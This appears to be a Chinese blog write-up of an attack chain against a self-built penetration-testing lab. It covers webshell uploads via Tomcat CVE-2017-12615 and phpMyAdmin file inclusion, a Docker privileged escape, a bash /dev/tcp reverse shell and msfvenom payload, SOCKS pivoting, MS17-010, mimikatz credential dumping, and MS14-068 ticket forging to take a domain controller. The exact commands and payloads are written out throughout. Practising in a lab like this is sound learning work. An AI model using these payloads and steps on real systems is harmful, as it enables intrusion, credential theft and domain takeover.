首先配置ubuntu的两个网络适配器,一个为NAT,一个为仅主机
然后进入ubuntu,配置docker环境,需要将以下三个docker容器打开
1 | Desktop/vulhub/tomcat/CVE-2017-12615/ |
进入路径之后输入
1 | docker-compose build |
可以将容器打开
可能会出现报错
解决的办法是将当前用户加入docker用户组
1 | sudo gpasswd -a ${USER} docker #将当前用户添加到docker用户组 |
输入这条命令之后需要切换一下用户,因为虽然已经加入用户组了但是缓存还在,切换一下用户即可
然后发现这里不知道别的用户..只能修改一下root的密码切换为root再切换回来
1 | sudo passwd #修改root密码 |
之后再输入上面启动容器的命令就行了
通过nmap扫描之后找到开启的端口
windows7配置成仅主机
windows2008配置为仅主机并修改ip地址
这里需要获得三个shell,首先从tomcat开始吧,从启动docker环境可以知道是CVE-2017-12615,这个漏洞之前在360靶场复现过,通过PUT方法上传文件
首先使用hackbar提交一个POST请求,然后使用bp抓包
将POST请求修改为PUT请求,然后将a的位置修改成要上传的文件内容,将路径改为上传的文件名如webshell.jsp::$DATA或者webshell.jsp/
看到201状态码就说明上传成功了,这里我使用的是webshell.jsp/,之前复现的时候是使用另外一种方法的,反正如果碰到了两种都可以试试
接下来使用冰蝎连接这个木马,可以看到已经连接成功
现在获取第二个shell,第二个准备复现S2-045,这个简单现成的工具打一打就好了
继续上传一个冰蝎马
也已经连接成功
最后一个漏洞是phpmyadmin,搜索一下,是一个文件包含的漏洞,修改一下payload然后试试
1 | http://192.168.52.134:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd |
可以看到成功包含了/etc/passwd
现在要想办法包含有一句话木马的文件
创建一个新的数据表,在字段名上写入一句话木马
但是这里不知道mysql的绝对路径不能包含,所以只能换一种方法,包含session文件
1 | SELECT "<?php phpinfo();?>" |
这样执行的语句会写入session文件里,接下来只要去包含这个session文件就行
session的文件名就是sess_1994dbe3ef56205094654f20be30015a,在/tmp下,包含这个文件即可
1 | http://192.168.52.134:2003/index.php?&target=db_datadict.php%253f/../../../../../../../../../tmp/sess_1994dbe3ef56205094654f20be30015a |
可以看到已经成功包含,接下来就要获取shell,我尝试写入post一句话木马,但是不能执行,后来修改成get就可以执行php代码了
1 | SELECT "<?php @eval($_GET['pass']);?>" |
然后请求
1 | http://192.168.52.134:2003/index.php?pass=system(%27whoami%27);&target=db_datadict.php%253f/../../../../../../../../../tmp/sess_1994dbe3ef56205094654f20be30015a |
可以在这里看到回显,但是这个shell也也太乱了准备重新写一个,这里一直踩坑,写上去的shell因为有$导致linux认为是变量直接就不见了
都是这样的,后来终于找了个没有$的马,写了上去连接成功
1 | http://192.168.52.134:2003/index.php?pass=system(%22echo%20%27%3C?php%20{eval(reset(get_defined_vars()[_POST]));};?%3E%27%20%3E%20shell.php%22);&target=db_datadict.php%253f/../../../../../../../../../tmp/sess_1994dbe3ef56205094654f20be30015a #payload |
终于把三个shell都拿到了
这块以前真的一点没有看过,查了一下有两个方法,一个是CVE-2019-5736,一个是配置特权模式逃逸,CVE-2019-5736需要有人进入docker系统,特权模式逃逸需要以特权模式启动,都需要人为的修改一些配置,CVE-2019-5736我复现失败了,反弹shell不出来,所以这里使用特权模式逃逸
首先停掉一个容器,然后删除,我这里选择停掉并删除S2的容器
1 | doccker stop CONTAINER ID |
然后修改docker-compose.yml,在ports下添加一行,注意缩进
1 | privileged: true |
然后保存退出重新使用docker-compose启动容器
1 | docker-compose build |
有时候会出现ip地址变化要注意
现在重新攻击这个靶机,重复一下上面的流程
接下来在kali上监听端口并在docker上执行命令反弹shell回来
1 | bash -i >& /dev/tcp/192.168.52.128/60001 0>&1 |
1 | fdisk -l #查看磁盘文件 |
现在可以访问到宿主机的文件了,接下来往宿主机里面写公钥然后连接就可以成功逃逸
1 | ssh-keygen #生成密钥对 |
一直回车,会在/root/.ssh/下生成两个文件id_rsa(私钥)id_rsa.pub(公钥),接下来将公钥写入到宿主机的/.ssh/authorized_keys
1 | cd /root/.ssh/ |
成功逃逸
生成一个linux木马
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=60003 -f elf > shell.elf |
在kali上开一个一句话服务器
1 | python -m SimpleHTTPServer 8080 |
通过wget下载木马,msf开启监听
反弹成功
ipconfig可以查看到另外一个网端,添加一条路由
1 | run autoroute -s 192.168.183.1/24 |
但是这里不能直接使用arp_scanner,猜测可能是木马的问题,linux木马总是有些奇奇怪怪的问题,那就换个方法,进入linux shell安装nmap并扫描
扫到这两台主机
首先探测一下MS17-010
发现windows7是存在MS17-010的,直接打不行,需要用一下代理,使用meterpreter往ubuntu上传EW
1 | upload ew_for_linux64 /root #上传EW到/root下 |
使用EW进行反向代理
1 | ./ew_for_linux64 -s rssocks -d 192.168.52.128 -e 60007 #在ubuntu上执行 |
出现OK就算成功了
接下来配置proxychains,proxychain的配置文件在/etc/proxychains.conf,在最后一行加上
1 | socks5 127.0.0.1 60008 |
然后使用proxychain启动msf,命令为
1 | proxychains msfconsole |
获得windows7的session
但是这个session,很容易掉..找了很久找不到原因,而且ms17-010也不是每次都可以打成功,就很迷..
好的吧好的吧…
这里想了一个办法,虽然这个session一下子就掉了,但是还是可以执行命令的..首先再生成一个msf正向shell,然后再开启一个msf的终端开始监听,只要手够快马上上传这个shell并执行就可以得到session
1 | upload bind.exe c:\\windows\\system32 #上传文件到c:\\windows\\system32 |
至于为什么要传到这个目录下,因为session进去就是这个目录,传到这个目录下可以少输一点路径
终于可以下一步了
了解了一下ms14-068,需要获得域控成员的密码
现在已经获得windows7的system权限,可以使用mimikatz抓密码,查看了一下桌面发现已经有mimikatz和MS14-068的exp,就不用自己上传了
system不能直接抓密码,我手动上win7看了看发现需要以管理员身份运行需要UAC,但是我输入域控的密码也没用,对域的知识还是比较少,之后要搭建看看,然后我想试试msf切换用户到douser发现也是不行的,而且我降权了之后权限回不去了..以后实战一定要注意降权的使用
所以我只好另外再起一个session,因为是system应该可以直接启动这台主机的管理员用户
1 | net user administrator 123@abc #设置管理员的密码 |
然后通过远程桌面登录
1 | run getgui -e #开启远程桌面 |
连接成功,接下来去douser用户的桌面去找mimikatz,打开mimikatz,运行命令
1 | privilege::debug |
读取到密码Dotest123,通过信息收集也可以获取密码,查看ubuntu /home/ubuntu/.bash_history也可以获取密码
最后就是渗透域控了,可以看到donser的桌面上也有MS14-068的exp
MS14-068还需要用户的sid,可以使用whoami /all查看
1 | net group "Domain controllers" /domain #获取主机名 |
1 | dir \\WIN-ENS2VR5TR3N.demo.com\C$ |
是没有权限的,接下来利用MS14-068
1 | ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 |
生成票据
运行mimikatz
注入票据,再次尝试访问问域控,成功
1 | kerberos::purge #清空当前机器的凭证 |
接下来使用桌面上的PsExec64.exe获取域shell
1 | PsExec64.exe \\WIN-ENS2VR5TR3N.demo.com |
但是因为是msf的shell不能直接得到shell,所以要换种方法
1 | copy bind.exe \\WIN-ENS2VR5TR3N.demo.com\C$\ #将木马复制到域控C盘下 |
没有反弹到,可能是因为域控开了防火墙,但是我远程桌面直接以域成员登录,报了个错误,我去查了以后发现错误原因是未知(可能也是我没查到),需要退域之后再进来才可以,但是退域需要域控密码,现在也不知道,所以还是要想别的办法
创建一个close.bat,在里面写上关闭防火墙的命令
1 | netsh advfirewall set allprofiles state off |
然后将这个批处理文件上传并定时启动,再定时启动木马
获得域控system权限
1.ubuntu一定要快照一定要快照一定要快照,重要的事情说三遍,特别是第一次复现的会有很多奇奇怪怪的问题,当然大佬可以忽略
2.永恒之蓝就算挂了ew也不是每次都可以成功的,多试几次,可以多换换端口
3.学到的还是不少的,docker逃逸和MS14-068都是第一次接触,虽然不懂原理,至少脚本会用了